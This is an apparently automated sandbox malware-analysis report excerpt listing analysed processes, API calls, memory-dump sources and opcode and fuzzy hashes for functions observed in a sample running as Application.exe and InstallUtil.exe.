Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 768
Imagebase:	0x600000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:24:15
Start date:	16/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\explorer.exe"
Imagebase:	0x7ff633410000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	3

Executed Functions

Function 02D74AE0 Relevance: 2.8, Strings: 2, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v3|, xrefs: 02D74BA8
t3n3&, xrefs: 02D74B9C

Memory Dump Source

Source File: 00000000.00000002.1880046128.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d70000_file.jbxd

Similarity

API ID:
String ID: t3n3&$v3|
API String ID: 0-2232827482
Opcode ID: 693ac9215052d108d298584652e6a152390fe9457432b30307bb9bccd8905521
Instruction ID: 83d233915e4723d79579e31b1ef580ccc0efed722dcd436e68b03492307e2bfb
Opcode Fuzzy Hash: 693ac9215052d108d298584652e6a152390fe9457432b30307bb9bccd8905521
Instruction Fuzzy Hash: 78A1DB93B14541CB8B12607D6C8236D02E1D3AE098FC5919A7141EF3E5F967CC46D3F5

Function 0C6639D0 Relevance: .9, Instructions: 853
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04f85b8aa594d2ba1ca27c6353ac47cfacbf8944bdaa33ce1cfb7b7d173b6d27
Instruction ID: f894fc1308fc93005978624b509460094215cd273be711c59424876dc2bbbf0d
Opcode Fuzzy Hash: 04f85b8aa594d2ba1ca27c6353ac47cfacbf8944bdaa33ce1cfb7b7d173b6d27
Instruction Fuzzy Hash: 07927F74E05228CFDB64CFA9C984ADDBBF1BF49304F2581A9D409A7751DB30AA81CF54

Function 0C666460 Relevance: .7, Instructions: 688
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a56480860b14b0d095b515379f9270c9efc3702805fcb158c09762da85dda48
Instruction ID: 9fd4b0f0169978af6eeade981872e46ae69e6754ff172ba3f61daec3ca5ffa76
Opcode Fuzzy Hash: 0a56480860b14b0d095b515379f9270c9efc3702805fcb158c09762da85dda48
Instruction Fuzzy Hash: C5728975E012298FDB64CF69D880BDDBBF5BB49314F1482EAE809A7751D730AA818F50

Function 0C6628FD Relevance: .3, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d69dd691483c1243b8c04d9b4b72dcdc3e8d54c2ecdff4a11246cdbc30db5793
Instruction ID: f9e7530be823661d763d0019e976ed66e591270bddeaf9de9a6b4168c2977a98
Opcode Fuzzy Hash: d69dd691483c1243b8c04d9b4b72dcdc3e8d54c2ecdff4a11246cdbc30db5793
Instruction Fuzzy Hash: 48D10474A102548FE7A5CF29C890A9ABBB2EF49351F4580E9E44CDB361DB35DE80CF45

Function 02D75CED Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02D75DA9

Memory Dump Source

Source File: 00000000.00000002.1880046128.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d70000_file.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 13475fe7994f397535f59e019df83f3f81058a85d931a66e2a00342c7460e92d
Instruction ID: 480a1c919c8d029be253728c893fe0f4e81679d2c0c6a15e904d329988e172aa
Opcode Fuzzy Hash: 13475fe7994f397535f59e019df83f3f81058a85d931a66e2a00342c7460e92d
Instruction Fuzzy Hash: E741CDB0C00719CBEB24DFA9C884BCEBBF6BF49304F60806AD408AB255DB756945CF51

Function 02D74248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02D75DA9

Memory Dump Source

Source File: 00000000.00000002.1880046128.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d70000_file.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 25e3d56e194dfbcea80bfde758b04c5e6fdc1589f8df7ec1c82794f4b350f134
Instruction ID: b55c74b9235cf1d336713af7fe4af3e4e8bc799d40187ad2e54732df082bdcb5
Opcode Fuzzy Hash: 25e3d56e194dfbcea80bfde758b04c5e6fdc1589f8df7ec1c82794f4b350f134
Instruction Fuzzy Hash: DD41BF70C00719CBEB24DFA9C884B9EBBF6BF49704F60806AD408AB255EB756945CF91

Function 02D7E518 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02D7E57E

Memory Dump Source

Source File: 00000000.00000002.1880046128.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d70000_file.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8f614172058ce25b4f1db04f8193efbe42138e396579ccc5679cc183ea5f3760
Instruction ID: 0872e74be46299397edeacdd23d9b3fc0382e0bc1e9b581a91907a6986ca2ab9
Opcode Fuzzy Hash: 8f614172058ce25b4f1db04f8193efbe42138e396579ccc5679cc183ea5f3760
Instruction Fuzzy Hash: 9711E0B5C007498FDB10DF9AC444BDEFBF4EB88224F10846AD459A7710E379A945CFA1

Function 0C669510 Relevance: 1.5, APIs: 1, Instructions: 46
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,?,?,?), ref: 0C669575

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: b5b7c1fe1cf893fc4df70f0ec9c98eb5ab3165df22d21541815387dca1fa3446
Instruction ID: deca10b53106fd735ffdf232442b3da8ca1a44cb9e8c47782dc0a7872bc58880
Opcode Fuzzy Hash: b5b7c1fe1cf893fc4df70f0ec9c98eb5ab3165df22d21541815387dca1fa3446
Instruction Fuzzy Hash: 4D1103B68003499FDB10DF9AD885BDEBBF8FB48320F10841AE958A7650C375A944CFA1

Function 0C669518 Relevance: 1.5, APIs: 1, Instructions: 44
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,?,?,?), ref: 0C669575

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 705e82f8194bb7ef8166f4ec62fbfcc9cb4b2134cba1e0ce3a3eda16fb48838b
Instruction ID: 5afba33901c4b6c02a335617a5293fff6e6a2c2d16223cfaa9e1c6d3637e4070
Opcode Fuzzy Hash: 705e82f8194bb7ef8166f4ec62fbfcc9cb4b2134cba1e0ce3a3eda16fb48838b
Instruction Fuzzy Hash: 3411E5B58003499FDB10DF9AD585BDEFBF8EB48320F10841AD958A7750C375A944CFA1

Function 0167D43C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879227572.000000000167D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0167D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_167d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07e34543d19229855796b24c5581d2eb18f4ab9e268757e56d4482bd775bc13b
Instruction ID: e9d5bcfa33751a9f53640eaf0ce6a487ce33aaea2b33df4246fb147dc748b381
Opcode Fuzzy Hash: 07e34543d19229855796b24c5581d2eb18f4ab9e268757e56d4482bd775bc13b
Instruction Fuzzy Hash: F6212571500344EFDB15DF54DDC0B66BB66FF84314F24C969E8094B25AC336E456CBA2

Function 0168D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879385492.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_168d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6987882ed0e45493145d75742be234bcf3a15dd12bb026307df3280dc9476671
Instruction ID: 52760ecede378e91a182631847e5beaa9f55d26ed298cd5ef663b60c7ef5ef82
Opcode Fuzzy Hash: 6987882ed0e45493145d75742be234bcf3a15dd12bb026307df3280dc9476671
Instruction Fuzzy Hash: D521D071604344DFDB15EF94D9C0B26BB65EB84214F24C669D90A4B3C6C736D847CA72

Function 0168D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879385492.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_168d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d877531678c592e65d5971009e21e9698ff0f5515d184ee78e6afa76dbcf1c0
Instruction ID: 5f9557aeb4205afa8606debcb8bbf87202ba31c3109a6d98b0d6aef56abeb8f3
Opcode Fuzzy Hash: 2d877531678c592e65d5971009e21e9698ff0f5515d184ee78e6afa76dbcf1c0
Instruction Fuzzy Hash: 9021D371504244AFDB05EF94D9D0B25BB65FB84324F24C66DDA094B3D2C336D846CA71

Function 0168D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879385492.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_168d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82693cca382ed30afae628239208d2a0fc3bd34603da05ff7ff5c9706acab340
Instruction ID: a8954e3af9c8f22fd546bdabfa1ff355681e26524bed72f7a5e8afc779b1c49c
Opcode Fuzzy Hash: 82693cca382ed30afae628239208d2a0fc3bd34603da05ff7ff5c9706acab340
Instruction Fuzzy Hash: 7921A1755093808FDB03DF64D990B15BF71EB45214F28C6DAD8498B6E7C33A944BCB62

Function 0167D437 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879227572.000000000167D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0167D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_167d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
Instruction ID: 3ae7c23dc9554ccd6d8fad14c1e5d37b490f8334a05eded06e4915a21c9b49f7
Opcode Fuzzy Hash: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
Instruction Fuzzy Hash: 9F11DF72404240DFDB12CF54D9C0B56BF62FB84314F28C5A9D8094B656C336D456CBA1

Function 0168D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879385492.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_168d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: ae1ce13375f36d2991cc366600e7275e039324918adf0e4af280a30410b22df5
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: A711BB75504280DFCB02DF54C9D0B15BBB1FB84324F28C6AAD9494B796C33AD44ACB61

Non-executed Functions

Function 0C6632D1 Relevance: .5, Instructions: 462COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5432a15f4373784adc9cfcc3d8ac342135e695f29bb09042fa4ddcb1ce47d924
Instruction ID: 42c6a40efc662eca18182efb617d63d689d0bb5af3888abeb5f2f0b79b3c6c24
Opcode Fuzzy Hash: 5432a15f4373784adc9cfcc3d8ac342135e695f29bb09042fa4ddcb1ce47d924
Instruction Fuzzy Hash: 0D22DF74A103588FEB64CF69C480B8ABBF2EF49311F1580A9E458DB762DB34D981CF59

Function 0C6632E0 Relevance: .5, Instructions: 458COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6167a53142a83cbb98190602ff6cee4b6b04a22ed4b06285ac2279fd568607
Instruction ID: 51813ff94009191df21b0ddcd5dc177a872b50a85a04d81a1c5fa59ebf39d6f9
Opcode Fuzzy Hash: 4e6167a53142a83cbb98190602ff6cee4b6b04a22ed4b06285ac2279fd568607
Instruction Fuzzy Hash: C522DE74A103588FEB64CF69C480B8ABBF2EF49311F1580A9E458DB762DB34D981CF59

Function 0C666450 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc529452d7edc255577b94c328ccb90db4144917215f246e8227376f56c51d8e
Instruction ID: c031ac1ecb77c9b8a51994e648a606b480edef0d811ef121b75ec9aa7d47deca
Opcode Fuzzy Hash: bc529452d7edc255577b94c328ccb90db4144917215f246e8227376f56c51d8e
Instruction Fuzzy Hash: F24188B1E016688BEB28CF6BD9407CDFAF3AFC9300F14C1EA944CAA254DB7049858F50

Function 0C6639C1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893944592.000000000C660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f3d4f7298d0b8f7997d1d73837f3d56661b0cce830e4f13a123235dc8ae190
Instruction ID: 81ebd0a63f37e7ba118c2d3d81a0598db18373d79017e34dfaee52efef012d87
Opcode Fuzzy Hash: 39f3d4f7298d0b8f7997d1d73837f3d56661b0cce830e4f13a123235dc8ae190
Instruction Fuzzy Hash: C0313DB1D016188BEB18CF6B99452DEFAF3AFC9304F14C17AD918AA264EB741546CF14

Analysis Process: Application.exePID: 4860, Parent PID: 3504COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	3

Executed Functions

Function 02EE5CED Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02EE5DA9

Memory Dump Source

Source File: 00000006.00000002.2309342251.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2ee0000_Application.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ac69b4f7da6abf2522fec2b03da0a26868d62813414b845f637ba25ff091ae74
Instruction ID: bca8fe3edf94823b93e25c831f02c55f6e7e66933ef7018e216ba1cf0e6fd9e5
Opcode Fuzzy Hash: ac69b4f7da6abf2522fec2b03da0a26868d62813414b845f637ba25ff091ae74
Instruction Fuzzy Hash: FB41EFB0C00719CBEB24DFA9C884BDEFBB5BF49308F20806AD409AB255DB756945CF90

Function 02EE4248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02EE5DA9

Memory Dump Source

Source File: 00000006.00000002.2309342251.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2ee0000_Application.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 91711415927dcb6c1fad1d5a3516e0f906060aa79f00dead66e8e3b17a5230a5
Instruction ID: eff3a56fc535d2ab703d3cac2fd1d676c243fa1ebf44792de3e953512ce9d1e1
Opcode Fuzzy Hash: 91711415927dcb6c1fad1d5a3516e0f906060aa79f00dead66e8e3b17a5230a5
Instruction Fuzzy Hash: 8941EF70C00719CBDB24DFA9C884B9EFBF5BF49308F60806AD409AB255DB756945CF90

Function 02EEE518 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02EEE57E

Memory Dump Source

Source File: 00000006.00000002.2309342251.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2ee0000_Application.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c5ce64b810de0c58eb5be02e6b8cdc3b906125aa16eae9600fbc677f4f1db198
Instruction ID: e5c6aa0b4d9e0680bd5a8744fb40c0788d66ff51c7a0ddbf95f078385838f41e
Opcode Fuzzy Hash: c5ce64b810de0c58eb5be02e6b8cdc3b906125aa16eae9600fbc677f4f1db198
Instruction Fuzzy Hash: FA1110B6C003498FDB10CF9AD444BDEFBF4EB88224F14842AD429A7200D379A549CFA1

Function 0C649640 Relevance: 1.5, APIs: 1, Instructions: 46
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,?,?,?), ref: 0C6496A5

Memory Dump Source

Source File: 00000006.00000002.2319846752.000000000C640000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c640000_Application.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: f6681232c073a6143bac36c50798bec170133595a2c437c0814fefe3124f9538
Instruction ID: 57ce1a8a289bd6c0e4f5afc8c61c76bafb3f5f038f422b28c014fe8219576ead
Opcode Fuzzy Hash: f6681232c073a6143bac36c50798bec170133595a2c437c0814fefe3124f9538
Instruction Fuzzy Hash: B71106B58002499FDB20CFAAD885BDFFBF8FB88320F108519D568A3250C3756544CFA1

Function 0C649648 Relevance: 1.5, APIs: 1, Instructions: 44
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,?,?,?), ref: 0C6496A5

Memory Dump Source

Source File: 00000006.00000002.2319846752.000000000C640000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c640000_Application.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 39ca7bc97ce7cb1e6ff4a4d5269127940f8b32a715470f78e7ac0f37ac0f133a
Instruction ID: 0798ffa616a3b412c38d781768ffa620de8a126e59f139d226544438f9b9f90e
Opcode Fuzzy Hash: 39ca7bc97ce7cb1e6ff4a4d5269127940f8b32a715470f78e7ac0f37ac0f133a
Instruction Fuzzy Hash: 8A1103B58003499FDB10CF9AC485BDEBBF8EB48310F10841AE558A3200C375A944CFA1

Function 02E6D528 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2309070776.0000000002E6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e6d000_Application.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6539113bb88306b5917002855d3a487f687bc2b53e0bdbaf307954e48f8bcf43
Instruction ID: 7152341eb0d68dc8a4d5762f8c78c188d3b153584cdbe5f3490ef31f5822cb41
Opcode Fuzzy Hash: 6539113bb88306b5917002855d3a487f687bc2b53e0bdbaf307954e48f8bcf43
Instruction Fuzzy Hash: 8E213371680240DFDB01DF10C9C8B26BB65FB88328F64C169E80A0A646C336D456CAA2

Function 02E7D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2309135626.0000000002E7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e7d000_Application.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f58c0e8b9aa2b68906af90f5500c69b8fcab293b8c1e5b3c7d230465eb93a425
Instruction ID: 34fdcf5a906adcd638fa8739bf0d9beb1f765c20078dab83647c79cd6cf3e331
Opcode Fuzzy Hash: f58c0e8b9aa2b68906af90f5500c69b8fcab293b8c1e5b3c7d230465eb93a425
Instruction Fuzzy Hash: 8D21D071644284AFDB05DF50D9C0B26BBA5FF98218F24C5A9E80E4B292C336D847CA61

Function 02E7D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2309135626.0000000002E7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e7d000_Application.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d3b02abe6708671761d1d06c219031b973d0d4c2087f8e39dd0c3693167722a
Instruction ID: 9ddb4c73a4001807ff15ad5d75c6967f2d5a9cbfd5efda5fcfaec02d6f8d7bf4
Opcode Fuzzy Hash: 9d3b02abe6708671761d1d06c219031b973d0d4c2087f8e39dd0c3693167722a
Instruction Fuzzy Hash: 7821D075644344DFDB14DF10D9C0B26BB66EF84218F24D569D80A4B286C336D847CA62

Function 02E7D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2309135626.0000000002E7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e7d000_Application.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ca872ecdcca5893aa7a84c91578340dc04d43fc8308ecb9f42c01b7f4b382e2
Instruction ID: 7732117a25719e29d6aa49ce26d512987d66babc4fd272fde32ece96f9f8959f
Opcode Fuzzy Hash: 2ca872ecdcca5893aa7a84c91578340dc04d43fc8308ecb9f42c01b7f4b382e2
Instruction Fuzzy Hash: 802195755493C08FCB02CF20D990715BF71EF46218F28C5DAD8498F6A7C33A980ACB62

Function 02E6D523 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2309070776.0000000002E6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e6d000_Application.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
Instruction ID: 03b412bdab579c6d0828f84e1b9a6e9dad2f2c96da97e0f842f97b7815443599
Opcode Fuzzy Hash: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
Instruction Fuzzy Hash: 3811E676544280CFCF16CF10D9C4B66BF71FB84318F24C5A9D8094B656C336D456CBA1

Function 02E7D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2309135626.0000000002E7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e7d000_Application.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: abb1bda89b9b2906de3b91ed2a7f49b056e32cd7b9887d293d83493b64169b5b
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: 2011BB75544280DFCB01CF50C9C0B15BBA1FF84228F28C6AAD8494B696C33AD45ACB61

Analysis Process: InstallUtil.exePID: 6820, Parent PID: 4860COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.1%
Total number of Nodes:	31
Total number of Limit Nodes:	1

Executed Functions

Function 0040A150 Relevance: 24.7, APIs: 16, Instructions: 668
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409280: GetTempPathA.KERNEL32(00000104,?,C4066FA1,?,00000000), ref: 004092C7

GetFileAttributesA.KERNEL32(00000000), ref: 0040A1C3

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: AttributesFilePathTemp
String ID:
API String ID: 3199926297-0
Opcode ID: e96eb43c4068d098d67d161b149557d0c2b52d429ab617369c4077a510835f44
Instruction ID: 40b017033dc2458f61c9865ec0faf6b7a14ee48094721c4254324dd0d70ce135
Opcode Fuzzy Hash: e96eb43c4068d098d67d161b149557d0c2b52d429ab617369c4077a510835f44
Instruction Fuzzy Hash: E442E570D013049BEF14EBB8C6497DE7BB1AB46318F64426AD411773C2D7BD4A84CBAA

Function 004380DB Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,004380DA,?,?,?,?,?,0043912E), ref: 004380FD
TerminateProcess.KERNEL32(00000000,?,004380DA,?,?,?,?,?,0043912E), ref: 00438104
ExitProcess.KERNEL32 ref: 00438116

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 14c33539fb2fae5a7ad8ca047fd3e711b0c1c2e08e41aaacd06d9446d989e385
Instruction ID: 085ebb7e1dac01680af7b01656acb107f819bab86ffe8add99655978e5b9a7f7
Opcode Fuzzy Hash: 14c33539fb2fae5a7ad8ca047fd3e711b0c1c2e08e41aaacd06d9446d989e385
Instruction Fuzzy Hash: 0BE08C31000708EFCF116F24CE0DA4A7B29FB09342F10402AFA058A232CF79ED82CB88

Function 0043BE42 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: bcc856b0a379c0c575f75257d61ee2adb2333276cdf0eecaaa7a8406af4b1ab5
